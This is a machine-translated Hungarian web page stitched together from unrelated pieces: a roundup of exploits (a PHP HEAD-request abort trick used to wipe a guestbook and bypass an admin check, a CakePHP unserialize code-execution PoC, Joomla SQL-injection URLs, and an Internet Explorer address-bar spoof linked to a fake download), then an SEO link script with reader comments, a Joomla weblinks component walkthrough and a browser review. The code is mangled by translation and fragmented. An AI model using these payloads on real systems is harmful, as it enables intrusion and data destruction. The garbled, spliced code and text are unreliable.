Internet ablakok Android

Piszkos weblinkek php. Hackek és kiegészítők

Ebben a hónapban a hibakeresők nem akarnak elkényeztetni minket új, nagy horderejű exploitokkal a népszerű alkalmazásokban. Természetesen számos tanácsot tettek közzé ismert cégek termékeiben, de ezek közül nagyon kevés tartalmaz emészthető PoC kódot. Áttekintésünkben megpróbáltam összegyűjteni a közelmúltban leírt legjelentősebb és legteljesebb sebezhetőségeket, úgyhogy dőljön hátra és élvezze az olvasást.

PHP sebezhetőség a HTTP fejkérések kezelésében

rövid

Március 3-án egy bizonyos Adam Ivanyuk felfedezett egy érdekes funkciót a PHP interpreterben, amely nem egészen megfelelően dolgozza fel a HEAD kéréseket. A kutató ezt a sérülékenységet "HTTP HEAD metódustrükk a php szkriptekben" nevezte el.

Sok kódoló fejleszti PHP szkriptjeit abban a reményben, hogy a bennük írt összes utasítás sikeresen végrehajtódik anélkül, hogy valahol a közepén megszakadna (főleg rövid szkripteknél). Ez történik, ha a szkriptet a használó végfelhasználó kéri GET módszerek, POSZTÁLÁS, TELEPÍTÉS.

De tudnia kell, hogy vannak más HTTP-módszerek is, például a HEAD. Pontosan ennek a módszernek a PHP-ben való feldolgozása során keletkezhet biztonsági rés.

Megnézzük az egyik értelmező forrást: ./main/SAPI.c, 315. sor:

if (SG(request_info).request_method &&
!strcmp(SG(request_info).request_method, "HEAD"))
{
SG(request_info).headers_only = 1;
...

Amikor bármilyen adat érkezik, a php_ub_body_write függvény végrehajtásra kerül. Ezután nézze meg a main/output.c 699. sorát:

if (SG(request_info).headers_only) (
if(SG(fejlécek_elküldve))
{
visszatérés 0;
}
php_header(TSRMLS_C);
zend_bailout();
}

Itt látható, hogy az első képernyőkimeneten és a HEAD metódus használatakor a zend_bailout függvény megszakítja a szkriptet.

Kihasználni

$line="Becenév: ".htmlspecialchars
($_POST["becenév"])."

Szöveg: ".htmlspecialchars
($_POST["szöveg"])."


";
$f=fopen("book.txt","r");
$adat=fread($f,filesize("book.txt"));
fclose($f);
$f=fopen("book.txt","w");
$adat=$sor.$adat;
echo $data;
fwrite($f,$adat);
fclose($f);
?>

Most pedig érjük el ezt a szkriptet a HEAD metódussal:

stream_context_get_default
(array("http"=>array("method"=>"HEAD")));
print_r(get_headers("http://site.com/vendégkönyv.php"));
?>

Ahogy az várható volt, vendégkönyvünk az "echo $data;" sornál fog megállni, így a book.txt fájl egyszerűen nullára áll vissza.
Ez a példa meglehetősen pusztító. A második példában megkerülhetjük az engedélyezést egy primitív adminisztrációs panelen:

session_start();
echo "Egy hosszú karakterlánc körülbelül 4090 karaktert tartalmaz";
$_SESSION["admin"]=1;
if (!isset($_POST["pass"]) ||
$_POST["jelszó"]!="valami jelszó")
{
visszhang" Hibás vagy üres jelszó.
";
$_SESSION["admin_level"]=0;
}
?>

Ebben a szkriptben, amikor a szokásos módszerekkel jelentkezik be, egy adminisztrációs változó van beállítva a munkamenetben. Ezután, ha a felhasználó rossz jelszót adott meg, ez a változó nullára lesz állítva, és a felhasználó nem lesz rendszergazda.

Ha a HEAD-en keresztül érjük el az adminisztrációs panelt, annak végrehajtását egy „echo” kóddal megszakítja, így az adminisztrációs változó nem nullázódik vissza, és nyugodtan bolyonghatunk az alkalmazás zárt részén. Itt figyelembe kell venni, hogy a legtöbb webszerverben a kimeneti pufferelés értéke 4096 bájtra van beállítva, így egy működő példában szükségünk lehet a 'A long string körülbelül 4090 karaktert tartalmaz' sorra.

Kihasználni

  • PHP<= 5.3.5

megoldás

Az áttekintés időpontjában a PHP legújabb verziója az 5.3.5. Ebben a hibában nincs javítás, ezért csak azt tudom tanácsolni, hogy a HEAD metódus használatakor gondosan nézze át a szkriptjei forrásait, hogy ne fordulhasson elő előre nem látható helyzet.

Önkényes kódvégrehajtás a CakePHP-ben

rövid

A CakePHP a leghíresebb (több mint 7 000 000 említés a Google-ban) webalkalmazások készítésére szolgáló szoftver keretrendszer, amely PHP nyelven íródott és a nyílt forráskódú szoftverek elveire épül. A CakePHP a Model View Controller (MVC) mintát valósítja meg.

Kezdetben ezt a keretrendszert a népszerű Ruby on Rails klónjaként hozták létre, sok ötletet onnan kölcsönöztek:

  • Saját fájlstruktúra;
  • sok bővítmény támogatása;
  • adatabsztrakció (PEAR::DB, ADOdb és Cake saját fejlesztése);
  • számos DBMS támogatása (PostgreSQL, MySQL, SQLite, Oracle).

Nem meglepő, hogy egy ilyen figyelemreméltó szoftvertermék sok pentester nagy figyelmet kapott. Nem is olyan régen egy felix becenév alatt álló személy érdekes hibát talált ebben a keretben, ami a mágikus módszerekhez és az unserialize funkcióhoz kapcsolódik (erről a sebezhetőségi osztályról bővebben a magazin tavalyi számában olvashat).

Először nyissa meg a ./libs/controller/components/security.php komponenst, és keresse meg a következő kódot, amely a POST-kéréseket használó XSRF-támadások elleni védelemért felelős:

function _validatePost(&$controller)
{
...
$ellenőrzés = $vezérlő->adat;
$token = urldecode($check["_Token"]["mezők"]);
if (strpos($token, ":")) (
lista($token, $zárolt) = explode(":", $token, 2);
}
$locked = unserialize(str_rot13($locked));
...
?>

Itt a $check tömb tartalmazza a POST adatainkat, a $locked változó pedig egy szerializált karakterlánc, amelyet az str_rot13() függvény segítségével obfuszkálunk, amely teljes mértékben a mi ellenőrzésünk alatt áll.

Ezen a ponton érdemes egy kis kitérőt tenni azoknak, akik nem olvasták a ][ vonatkozó cikkeit, és röviden beszélni egy varázslatban megnyilvánuló hibáról PHP módszerek. Így a PHP 5-ös verziójában megjelent az OOP programozás alapkoncepciója: a konstruktor és a destruktor. A konstruktor a "__construct" metódussal, a destruktor pedig a "__destruct" metódussal kerül megvalósításra. A munka végén és az unserialize() függvényen keresztüli meghívásra minden objektum végrehajtja a saját __ destruct metódusát, ha az be van írva a kódba.

Most térjünk vissza a keretrendszerünkhöz, és nézzük meg az App osztály destruktorát a ./libs/configure.php fájlból:

függvény __destruct()
{
if ($this->__cache)
{
$core = App::core("torta");
unset($this->__paths);
Cache::write("dir_map", array_filter($this->__paths),
"torta_mag");
Cache::write("fi le_map", array_filter($this->__map),
"torta_mag");
Cache::write("object_map", $this->__objects,
"torta_mag");
}
}

A fenti kódból látható, hogy ez a módszer veszélybe kerülhet, ha tetszőleges értékeket ír a Cache objektumba. A feltörés legérdekesebb kulcsa a 'file_map'. Kezeli az osztályok és a hozzájuk tartozó PHP-fájlok közötti kapcsolatokat, és további osztályok futás közbeni betöltésére is szolgál.

Az osztálybetöltés tényleges kódja kissé bonyolultabbnak tűnik, de mindez az App osztályon belüli __load metódus következő kódjára csapódik le:

...
if (fi le_exists($ file)) (
if (!$this->return) (
igényel($file);
$this->__loaded[$file] = igaz;
}
return true;
...
?>

Bingó! A $file változó cseréjével saját PHP kódot is beilleszthetünk! Ráadásul ez egy igazi Remote File Inclusion bug lesz – így nincs szükségünk további trükkökre a helyi fájlok szerverre való feltöltésével. A talált sérülékenység szerzője azonban a lyuk LFI-kihasználását javasolja, mivel a CakePHP fájl alapú helyi gyorsítótárat használ, amely szerializált formában a támadó által ismert könyvtárban található.

Kihasználni

Kis PoC-ként egy mérgező szerializált karakterlánc generálásához, Felix a következő kódot javasolja:

$x=newApp();
$x->__cache=1;
$x->__map=array("Core" => array(
"Router" => "../tmp/cache/persistent/cake_core_fi le_map"),
"foo" => "");
$x->__útvonalak=tömb();
$x->__objects=array();
echo serialize($x);
?>

Természetesen először fel kell venni a szükséges osztályokat a CakePHP-ből. Van egy teljes értékű Python exploit is, amelyet a malloc.im/burnedcake.py oldalon találhat meg.

Ennek a diagramnak minden olyan CakePHP-vel készült alkalmazásban működnie kell, amely biztonsági tokenekkel ellátott POST űrlapokat használ, és nem változtatta meg az alapértelmezett gyorsítótárfájl helyét. Az exploit alapértelmezés szerint az adatbázis konfigurációját jeleníti meg, egyéb hasznosságok könnyen hozzáadhatók a beépített PHP payload megváltoztatásával.

Célok

  • CakePHP<= 1.3.5, CakePHP <= 1.2.8

megoldás

A leírt sérülékenység kijavításához csak le kell töltenie a használt CakePHP ág legújabb verzióját a cakephp.org gyártó webhelyéről.

Útvonal közzététele és lehetséges SQL-befecskendezések a Joomla!

rövid

A Joomla egy PHP és JavaScript nyelven írt tartalomkezelő rendszer, amely MySQL adatbázist használ tárhelyként. Ez egy ingyenes szoftver, amelynek licence a GNU GPL.

Ha még nem találkozott a Joomla!-val hacker tevékenységei során, akkor egyszerűen egy másik bolygón él :). Ebben az áttekintésben két lehetséges SQL-injekcióról szeretnék beszélni a Joomla különböző ágaiban egyszerre, amelyek észrevétlenek maradtak, és nem népszerűsítettek.

Tehát az első befecskendezést a YGN Ethical Hacker Group (yehg.net/lab) srácai fedezték fel a motor 1.5.21-es verziójában.

Ahogy maguk a kutatók írják, a lehetséges SQL-injekciókat ők fedezték fel a Joomla! 1.5.20 az XSS-ről szóló tanulmány részeként. Ezeket a hibákat azonnal jelentették a motorfejlesztő csapatnak, akik hamarosan kiadták az 1.5.21-es "patched" verziót. A "foltozott" szó azért van idézőjelben, mert a fejlesztők szemet hunytak a YEHG csapat tanácsainak többsége előtt, és remélték, hogy ezek a sérülékenységek nem teljesen kihasználhatók, hiszen a Joomla! beépített karakterlánc-biztonsági szűrőkkel rendelkezik.

Ennek eredményeként a hibakeresők nyilvánosságra hozták a felfedezett potenciális SQL-injekciók kiaknázásának részleteit, amit természetesen fel is fogunk használni.
Tehát nyissa meg a ./components/com_weblinks/models/category.php fájlt, és keresse meg benne a következő kódot:

function _buildQuery()
{
$filter_order = $this->getState("filter_order");
$filter_order_dir = $this->getState("szűrő_rendelési_könyvtár");
$filter_order = JFilterInput::clean($filter_order, "cmd");
$filter_order_dir =
JFilterInput::clean($filter_order_dir, "word");
// Mindenről listát kell szereznünk
// weblinkek az adott kategóriában
$query = "SELECT *" .
" FROM #__weblinks " .
" WHERE catid = ". (int) $this->_id.
"ÉS közzétéve = 1" .
"ÉS archivált = 0".
" RENDEZÉS ". $filter_order "".
$filter_order_dir .", rendezés";
return $query;
}

Itt látható, hogy a $filter_order és a $filter_order_dir változók nem ellenőrzik az SQL utasításoknak való szigorú megfelelést, csak a JFilterInput osztály szabványos tiszta metódusával ellenőrzik őket:

...
"WORD" eset:
$eredmény = (karakterlánc) preg_replace ("/[^A-Z_]/i", "", $forrás);
szünet;
...
"CMD" eset:
$eredmény = (karakterlánc)
preg_replace("/[^A-Z0-9_.-]/i", "", $forrás);
$eredmény = ltrim($eredmény, ".");
szünet;
...

Így alapértelmezés szerint elérési út feltárást kapunk. Ugyanezen változókban hasonló hibát nemrég fedeztek fel az új 1.6-os ágból származó motor első verziójában.

Kihasználni

Alapértelmezés szerint a Joomla!<= 1.5.21:

  • /index.php?option=com_weblinks&view=category&id=2&filter_order_Dir=&filter_order=%00′
  • /index.php?option=com_weblinks&view=category&id=2&filter_order_Dir='&filter_order=asc

és a Joomla! 1.6.0:

  • támadás
  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?filter_order=1,&filter_order_Dir=yehg.net.BBBBBBBBBBB,&limit=3&limitstart=4

A hibakeresők azonban azt javasolják, hogy ezeket a hibákat a már feltört Joomla-telepítéseknél használják fel a motor prototípus-készítése során: csak el kell távolítania a JFilterInput::clean szűrőket a filter_order_Dir és filter_order változókból, ami után a módosított sebezhetőséget korlátlanul használhatja.

Arról is van információ, hogy néhány leleményes embernek sikerült megkerülnie ezeket a hírhedt szűrőket, de a kizsákmányolás mélyen titkos.

Célok

  • Joomla!<= 1.5.21, Joomla! 1.6.0

megoldás

Mint mindig, ne felejtsen el frissíteni a fejlesztő joomla.org hivatalos webhelyéről. A felülvizsgálat írásakor ennek a CMS-nek a legújabb verziója 1.5.22, illetve 1.6.0 volt.

Hamisítás a címsávban a Microsoft Internet Explorerben

rövid

Végül egy apró és rendkívül vicces hibáról szeretnék mesélni az IE szamárban, amit egy hacker fedezett fel cyber flash becenéven. Ez a hiba lehetővé teszi a távoli felhasználó számára, hogy egyszerű hamisítási támadást hajtson végre.

A biztonsági rés az előugró címsor frissítése során történt hiba miatt keletkezett. A távoli felhasználó egy speciálisan kialakított weboldal segítségével arra kényszerítheti a böngészőt, hogy a címnek csak egy részét jelenítse meg a címsorban.

Kihasználni

A címsor helyettesítésének példájaként a szerző maga ajánlja fel a következő PoC HTML kódot:


content="text/html; charset=windows-1252">

Svindli



Kattintson bárhová ezen az oldalon!



A Cyber ​​​​flash egy kész oldalt is biztosít számunkra teszteléshez PoC kóddal a keyloggeronline.com/misc/temp/about.htm oldalon.

Amikor meglátogatjuk ezt az oldalt, látni fogunk egy feliratot egy linkkel, amely a bing.com webhelyre hív. A linkre kattintva egy felugró ablakot látunk, melynek címsorában ugyanaz a Bing jelenik meg. Lent lesz egy újabb link, ami az új Internet Explorer letöltésére hívja (ráadásul a „Download” fölé húzva semmi gyanúsat nem fogunk látni, pedig nem a böngésző új verziója van, hanem egy pszeudo-trójai program a Cybertől ​vaku).
Így a támadó könnyen átcsúsztathat egy rosszindulatú fájlt a Donkey felhasználónak.

Célok

  • MS Internet Explorer 7, 8, 9

megoldás

Jelenleg a softok még nem javították ki a leírt sebezhetőséget, így ha IE-t használsz, akkor átmeneti intézkedésként azt tanácsolom, hogy bánj óvatosabban az ismeretlen felugró ablakokkal.

Továbbra is megosztok veletek apró, de nagyon hasznos szkripteket az oldalhoz, amelyek segítenek javítani a keresőmotorok hozzáállását az Ön oldalához. Ezúttal az illetékes oldallinkelésről lesz szó.

Kezdésként hozzunk létre egy adatbázist az oldalak címeiből és azok lehetséges horgonyaiból. Egy *.txt fájlt fogunk használni alapként. A fájl szerkezete a következő lesz:

oldal_címe_1;horgony_1,horgony_2,horgony_3,...,horgony_n oldal_címe_2;horgony_1,horgony_2,horgony_3,...,horgony_n oldal_címe_3;horgony_1,horgony_2,horgony_3,...,horgony_2 címe, ...horgony__nr_n; , ...,horgony_n

Mint látható, a szkript további felhasználása lehetséges tetszőleges számú oldalcímmel és a hozzájuk fűzött horgonyokkal. Az oldal címe a http://www.site.ru/ nélkül van írva, azaz. azonnal a gyökértől az első perjel nélkül. A címet pontosvessző választja el a horgonyoktól, az egymás közötti horgonyok pedig egyszerűen vesszők. Leírhatod a teljes címet is, csak nekem személy szerint kényelmesebb, és te magad változtathatod meg az eredmény kitöltését és kimenetét, szerintem intuitív módon magad is kitalálod.

Így létrejött a hivatkozások alapja és a hozzájuk mutató horgonyok, majd adok egy példát PHP kódra a linkek közvetlen megjelenítéséhez az oldalon való újrahivatkozáshoz:

".$tex2[$tex3].""; } ?>

Ezt a kódot bárhová beillesztjük a webhelyre, amely 5 véletlenszerű hivatkozást jelenít meg az adatbázisból és egy véletlenszerű horgonyt. A horgonyokat jobb hígítani, és nem csak 1-et írni a linkre. Megfelelő hivatkozással az oldalon azonnal megnő a forgalom, és javulnak a webhely egyéb mutatói.

Várom kérdéseiteket a bejegyzéshez fűzött megjegyzésekben.

Megjelenés dátuma: 2014. március 03
    Vélemények és megjegyzések:

    Dmitrij:
    Köszönöm a forgatókönyvet, megvalósítom. Tól től forráskód az oldalról nem lehet másolni, csak kis töredékekben másolják, kényelmesebb lenne teljes egészében megtenni.

    Kirill:
    Köszi a megjegyzést másolással, csak most láttam, igyekszem mielőbb javítani.

    Alekszej Pavlov:
    A hiba a $tex = explode(":",$sendlist[$count] sorban van, nem kettőspontra, hanem pontosvesszőre van szükséged. Kicsit módosítottam a kódon, hogy világosabb legyen:$horgony"; } ?>

    matrk:
    A cikk teljesen haszontalan, mert. A blog másolásvédett.

    Kirill:
    Van egy kis jamb a js-ben, igen, nincs idő javítani, de valószínűleg másnak nincs értelme, mivel ilyenkor nincs elég ész, nézze meg az oldal forráskódját és vegye ki onnan

    matrk:
    Azok. Meg kell másznom a forráskódot és meg kell tisztítanom a szeméttől? Vicces vagy.

    Kirill:
    Ez azt jelenti, hogy tartozom valakinek valamivel? Vettem tőled pénzt, itt próbálkozol, ingyen tanácsot adsz :)))) Ingyen sajt csak egérfogóban van, a kor előrehaladtával megérted.

    Kirill:
    Eltávolították az ajtófélfát, használd egészségedre.

    Andrej Kopaev:
    1 - valószínűleg jobb ezt a mysql adatbázissal megtenni, gyorsabban fog működni, könnyebb hozzáadni 2 - Nem értem, mi értelme van minden alkalommal létrehozni egy linklistát? Hogyan befolyásolja ez a forgalom növekedését? be lehet-e tölteni ajax-szal, pl. Ez embereknek vagy botoknak való?

    www.site:
    A promóció miatt azonban személy szerint nem vagyok híve az ilyen manipulációknak a PS-sel.

A belépési pont a Joomla! komponens hasonló a legtöbb komponenshez. Ebben a példában a Joomla egyik alapvető összetevőjét fogjuk használni, a webes hivatkozásokat (webhelyekre mutató hivatkozásokat). Az első kezelőfelületen végrehajtandó fájl: …/components/com_weblinks/weblinks.php.

Először egy biztonsági ellenőrzést látunk, amelynek célja, hogy megbizonyosodjon arról, hogy senki sem hívhatja fel közvetlenül ezt az oldalt. Ez az a szabvány, amelyet minden php fájlban használni kell (bár van néhány kivétel):

Ellenőrizzük a lekérdezési karakterláncot, hogy megbizonyosodjunk arról, hogy egy adott vezérlőnevet küldtek-e el. Ha igen, akkor gondoskodunk arról, hogy a szükséges fájlt be tudjuk tölteni a vezérlők könyvtárába:

// Szükség esetén speciális vezérlő szükséges if ($controller = JRequest::getWord("vezérlő" ) ) ( $elérési út = JPATH_COMPONENT. ds. "vezérlők" . ds. $vezérlő . ".php" ; if (fájl_létezik ($útvonal ) ) ( igényel_egyszer $útvonal ; ) else ( $controller = "" ; ) )

Most létrehozzuk a vezérlőosztályunk egy példányát a fent meghatározott névvel:

Amint a feladat befejeződött, szükség esetén átirányítást végzünk:

// Átirányítás, ha a vezérlő beállította$vezérlő -> átirányítás();

Vezérlő osztály

A linkek összetevő általános (specifikus) vezérlője itt található: …/components/com_weblinks/controller.php.
Ez az egész osztály határozza meg a megjelenítési metódust, amely az alapértelmezett, hacsak a felhasználó nem határoz meg másik feladatot.

definiált ("_JEXEC" ) vagy die ( "Korlátozott hozzáférés" ); jimport( "joomla.application.component.controller") ; /** * Weblinkek komponensvezérlő * * @package Joomla * @subpackage Weblinkek * @1.5 óta */ osztály WeblinksController kiterjeszti a JController ( /** * A weblinkek nézetének megjelenítési módja * * @access public * @asce 1.5 */ függvény display() ( // Alapértelmezett nézet beállítása, ha nem létezik if ( ! JRequest:: getCmd ( "nézet" ) ) ( JRequest:: setVar ("view" , "categories" ) ; ) //frissítse a weblink találati számát if (JRequest::getCmd("view" ) == "weblink" ) ( $model =& $this -> getModel("weblink" ) ; $model -> hit() ; ) // Gyorsítótárazási logika megtekintése -- egyszerű... be vagyunk jelentkezve?$user = &JFactory::getUser(); $view = JRequest::getVar("view" ) ; $viewcache = JRequest::getVar("viewcache" , "1" , "POST" , "INT" ) ; if ($user -> get ("id" ) || ($view == "category" && $viewcache == 0 ) ) ( szülő:: display (false ) ; ) else ( szülő:: display (true ) ; ) ) )

Ebben a módszerben az alapértelmezett nézetet (nézetet) állítjuk be: kategóriák megjelenítése, ha nem adtak át más nézetet lekérdezési karakterlánc-paraméterként. Ha a szükséges nézet egy webhivatkozás, akkor növeljük a link megtekintéseinek számát. Ezután beállítjuk a nézetváltozó értékét, és hívjuk A JController szülőosztályunk diplay metódusa.
Külön érdemes odafigyelni a getModel metódus meghívására. Letölti a szükségeset az alkatrész modelljét. Ebben a példában ez a módszer az itt található weblink modellt tölti be: …/components/com_weblinks/models/weblink.php.
Itt egyezzünk meg abban, hogy nem kértünk konkrét nézetet, így a nézetünk kategóriákra lesz beállítva.
Ezután megnyitjuk a nézet osztályt.

Osztály megtekintése (Osztály megtekintése)

Mivel feltételezzük, hogy kategórianézetet akarunk, ez a következő fájl, amelyet végre kell hajtani: …/components/com_weblinks/views/categories/view.html.php

// Ellenőrizze, hogy ez a fájl szerepel-e a Joomla! definiált ( "_JEXEC" ) vagy die ( "Korlátozott hozzáférés" ); jimport( "joomla.application.component.view") ; /** * HTML nézet osztály a WebLinks összetevőhöz * * @static * @package Joomla * @subpackage Weblinks * @1.0 óta */ osztály WeblinksViewCategories kiterjeszti a JView-t ( függvény megjelenítése( $tpl = null ) ( globális $ mainframe ; $document =& JFactory::getDocument () ; $categories =& $this -> get ("adatok" ) ; $total =& $this -> get ("összesen" ) ; $állapot =& $this -> get ("állapot" ) ; // Az oldal/összetevő konfigurációjának lekérése$params = & $mainframe -> getParams() ; $menus = &JSite::getMenu(); $menü = $menük -> getActive() ; // mivel az alkalmazás alapértelmezett oldalcímet állít be, azt be kell szereznünk // közvetlenül a menüpontból if (is_object ( $menu ) ) ( $menu_params = new JParameter( $menu -> params ) ; if (! $menu_params -> get ( "page_title" ) ) ( $params -> set ("oldal_címe" , JText:: _( "Web hivatkozások" ) ) ; ) ) else ( $params -> set ("page_title" , JText:: _( "Web hivatkozások" ) ) ; ) $document -> setTitle ( $params -> get ( "oldal_címe" " ) ) ; // Állítson be néhány alapértelmezett értéket, ha nincs beállítva a paraméterekhez$params -> def ("comp_description" , JText:: _("WEBLINKS_DESC" ) ) ; // Képcímke attribútumok meghatározása if ($params -> get ("image" ) != - 1 ) ( if ($params -> get ("image_align" ) != "" ) $attribs [ "align" ] = $params -> get (" image_align" ) ; else $attribs [ "align" ] = "" ; $attribs [ "hspace" ] = 6 ; // Használja a statikus HTML könyvtárat a képcímke létrehozásához$image = JHTML:: _("image" , "images/stories/" . $params -> get ("image" ) , JText:: _("Web hivatkozások" ) , $attribs ) ; ) for ($i = 0 ; $i< count ($categories ) ; $i ++ ) { $category =& $categories [ $i ] ; $category ->link = JÚtvonal::_( "index.php?option=com_weblinks&view=category&id=". $kategória -> slug ) ; // Kategórialeírás készítése$category -> description = JHTML:: _("content.prepare" , $category -> description ) ; ) $this -> assignRef ("image" , $image ) ; $this -> assignRef ("params" , $params ) ; $this -> assignRef ("categories" , $categories ) ; szülő::megjelenítés($tpl) ; ) ) ?>

Ez ismét egy nagyon egyszerű osztály egyetlen megjelenítési módszerrel. A legtöbb logika itt a hivatkozáskomponensre jellemző, de ha alaposan megnézzük, megtalálhatjuk a legtöbb komponensnézet-osztályban használt funkciókat. A megjelenítési metódus végén ez az osztály meghívja a szülőt (JView) megjelenítési mód, átadja a megjelenítendő sablon nevét. Ha nem adunk át megjelenítési sablonnevet, a rendszer az „alapértelmezett” sablont használja.
És végül megnyitjuk a sablon osztályt.

Sablon osztály

Egyezzünk meg abban, hogy egy adott sablonnevet nem adtunk át, így az alapértelmezett sablon kerül felhasználásra. Ebben az esetben a következő fájl, amelyet figyelembe kell venni: …/components/com_weblinks/views/categories/tmpl/default.php
-> escape ($this -> params -> get ("page_title" ) ) ; ?>

params -> def ("kép" , - 1 ) != - 1 ) || $this -> params -> def ("show_comp_description" , 1 ) ) : ?>
kép ) ) : echo $this -> image ; endif; echo $this -> params -> get("comp_description" ) ; ?>
    kategóriák mint $kategória ) : ?>
  • escape ($kategória -> cím ) ; ?> (numlinks ; ?> )

A legtöbb logika itt a végrehajtott összetevőre vonatkozik. Ezenkívül a kód azt mutatja, hogy ebben a fájlban az összes HTML keveredik a PHP-vel - ezek a jellemzői és célja.

Az összetevőkben használt egyéb fájlok

Néhány egyéb fájltípus, amelyet az összetevőkben találhat:

  • Segítők – Az összetevők gyakran használnak helper.php fájlt vagy sok fájlt tartalmazó helpers könyvtárat. Ezek a fájlok általában csak az összetevő általános funkcióit tartalmazzák.
  • Úgy tűnik, hogy az Assets az összetevőben található egyéb fájlok mindenre kiterjedő mappája.
  • router.php – ez a fájl akkor használható, ha a SEF URL-beállítás engedélyezve van, hogy mindkét irányba fordítsa az URL-t (álnevekkel ember által olvashatóra, paraméterekkel pedig a Joomla rendszernézetre).
  • xml fájlok – általában paramétereket és egyéb információkat határoznak meg az összetevőről és annak áttekintéséről. Ezeket például az összetevő menüelemek létrehozásakor használják.
  • Az index.html bevált gyakorlat, ha minden könyvtárában üres index.html fájl található. Ez egy ilyen passzív biztonsági intézkedés.
  • css/images/js - mappák, amelyek különböző fájlokat tartalmaznak a tervezés és a funkcionalitás megvalósításához az ügyféloldalon (a böngészőben).

Kezdjük az összetevők vizsgálatával azzal, hogy megvizsgáljuk, hogyan működik az alapvető Weblinks összetevő a webhely hátterében. Ez a webhely ezen részére jellemző komponens nagyon hasonlít a cikkek, felhasználók, modulok stb. kezelésére szolgáló többi összetevőjéhez.

Az alábbiakban felsoroljuk az ehhez az összetevőhöz tartozó programfájlokat. Mindezek a fájlok a mappában vannak administator/components/com_weblinks. A fejezet további részében az összes Webhivatkozás-összetevő fájlneve ehhez a saját mappához kapcsolódik, hacsak nincs másképp jelezve. A fájlok többsége az MVC minta szerint van rendezve. Az összes nézetfájl a nézetek almappájában, az összes fő modell- és vezérlőfájl pedig a modellek, illetve a vezérlők almappájában található. Kiegészülnek telepítési, konfigurációs és segédfájlokkal is.

Az összetevő adminisztratív részének fájljaiWeblinkek, kivéve az index.html fájlokat

  • controllers/weblink.php - Fő vezérlő a szerkesztéshez Egyetlen weblink vezérlő
  • controllers/weblinks.php - A fő vezérlő a Controller összeállításához és a webhivatkozások listájának megjelenítéséhez a Weblinks Manager képernyőn
  • helpers/weblinks.php – Különféle módszereket biztosít a vezérlőkben és nézetekben
  • models/fields/ordering.php – A JformField modell a webhivatkozás-rendező oszlop megjelenítéséhez a Weblinks Manager képernyőn
  • models/forms/weblink.xml - A Jform-Model Field osztályban használt XML fájl beviteli mezőket tartalmazó űrlap elrendezésére és webhivatkozások szerkesztésére a képernyőn
  • models/weblink.php - Modell egy képernyős űrlap webhivatkozási modelljéhez
  • Models/weblinks.php – Modell a diszpécser képernyő űrlap Webhivatkozások modelljéhez
  • sql/install.mysql.utf8.sql - SQL fájl a webhivatkozási tábla fordításához a telepítés során
  • sql/uninstall.mysql.ut8.sql - SQL-fájl a webhivatkozás-tábla eltávolításához a telepítés során
  • tables/weblink.php – A Model osztályt biztosítja
  • views/weblink/tmpl/edit_metadata.php – Forráselrendezési fájl a webhivatkozás metaadatainak szerkesztéséhez

A Weblinks összetevő adminisztratív része

  • views/weblink/tmpl/edit_params.php – Forráselrendezési fájl egyetlen webhivatkozás-kiválasztási beállítások szerkesztéséhez
  • views/weblink/tmpl/edit.php – Forrás elrendezési fájl webhivatkozás szerkesztéséhez
  • views/view.html.php - A fő nézet osztály egyetlen webhivatkozás HTML formátumban történő megjelenítéséhez A webes hivatkozáskezelő forráselrendezési fájlja
  • views/weblinks/view.html.php - Főnézet osztály a webhivatkozások HTML formátumban történő megjelenítéséhez közvetlenül a Webhivatkozáskezelő képernyőn
  • access.xml – A hozzáférés-vezérlési lista (ACL) rendszerhez tartozó műveletek listáját tartalmazó XML-fájl
  • config.xml – XML-fájl, amely az összetevő konfigurációs beállításainak listáját tartalmazza
  • controller.php - Fő vezérlő osztály
  • weblinks.php - Belépési pont a kéréshez
  • weblinks.xml - a telepítési folyamat vezérlésére használt XML-fájl

A YRC Weblink böngészőt az indiai YRC Group Inc. szoftvercég hozta létre és terjeszti. Ezért az indiai Google az alapértelmezett kezdőlap :))

Az indiai programozókat a világ egyik legmenőbbnek tartják (az orosz és a kínai után :), de valami elromlott ezzel a böngészővel, mert ez csak valami ünnep, nem böngésző. Az ötletek, amelyeket ebben a böngészőben próbáltak megvalósítani, nagyszerűek, de maga a megvalósítás kézenfekvő. A böngésző „csonkfedélzeten keresztül” működik, vagyis furcsán és rosszul. Kipróbáltam két különböző számítógépen - Windows 7 és Windows 8 alatt -, és itt-ott akadozik és lefagy.

Azonban menjünk sorban.

A telepítés után a böngésző felkéri Önt, hogy válasszon néhány beállítást (mint például a fenti képernyőképen), és hozzon létre fiókot a felhőalapú szinkronizáláshoz, valamint a beállítások, könyvjelzők, jegyzetek és fájlok tárolására.

Jó ötlet! Megnyomom a Regisztráció linket, ami azt jelenti, hogy "Regisztráció", megnyílik egy vicces képekkel ellátott oldal, de valamiért nem YRC Weblinkben nyílik meg, hanem a gépre alapból telepített böngészőben és ez az első furcsaság. Egy másik furcsaság, hogy elég sok adatot kell megadnia – miért? Például a Maxthon böngészőben a felhőben való regisztrációhoz csak egy emailt és egy jelszót kell megadni, ami sokkal egyszerűbb, kellemesebb és nem vet fel kérdéseket.

Oké, megadom az összes adatot. E-mail érkezik, hogy megerősítsem a fiókomat, rákattintok a linkre, de az oldal azt mondja: "Hoppá! - Nem találom az adataidat az adatbázisban." De aztán jön egy újabb levél új linkkel, rákattintok a benne lévő linkre és újra - Hoppá! Azonban ezeknek a felhajtásoknak a folyamatában érkezik egy harmadik levél, amely azt mondja: Gratulálunk, fiókja ellenőrizve van! Ez egyfajta indiai fiókellenőrzés.

Megnyitom a böngészőt, beállításokat, megpróbálok könyvjelzőket importálni. Az üres tartományban lévő böngésző nem látja a .html formátumú könyvjelzőfájlt, amelyet minden általam ismert böngésző lát, megért és gond nélkül elfogad. Kézzel beírom a fájlnevet, rákattintok az Importálás gombra és kapok egy jelentést - a könyvjelzők importálása sikeresen megtörtént!

Csak itt ahova sikeresen behozzák??? Sem a böngészőben, sem a felhőben nincsenek. Megismétlem a műveletet, és ugyanaz az eredmény. Nem fontos. Továbbmegyünk.

A felhőben és a beállításokban van egy Notes elem. Emlékezve a Maxthon böngészőben a beépített jegyzettömb segítségével készíthető, automatikusan felhőbe mentett jegyzetekre, próbálok valami hasonlót találni a YRC Weblinkben, sajnos, hiába. Létezik a jegyzetek áttekintése, de nincs eszköz a létrehozásukhoz. Furcsa? És hogyan!

Akkor jó. Lássuk, mi van még. A telepítés során maga a böngésző (kérés nélkül) két parancsikont telepített az asztalra - egy böngésző parancsikont (ez normális) és egy Twitter parancsikont.

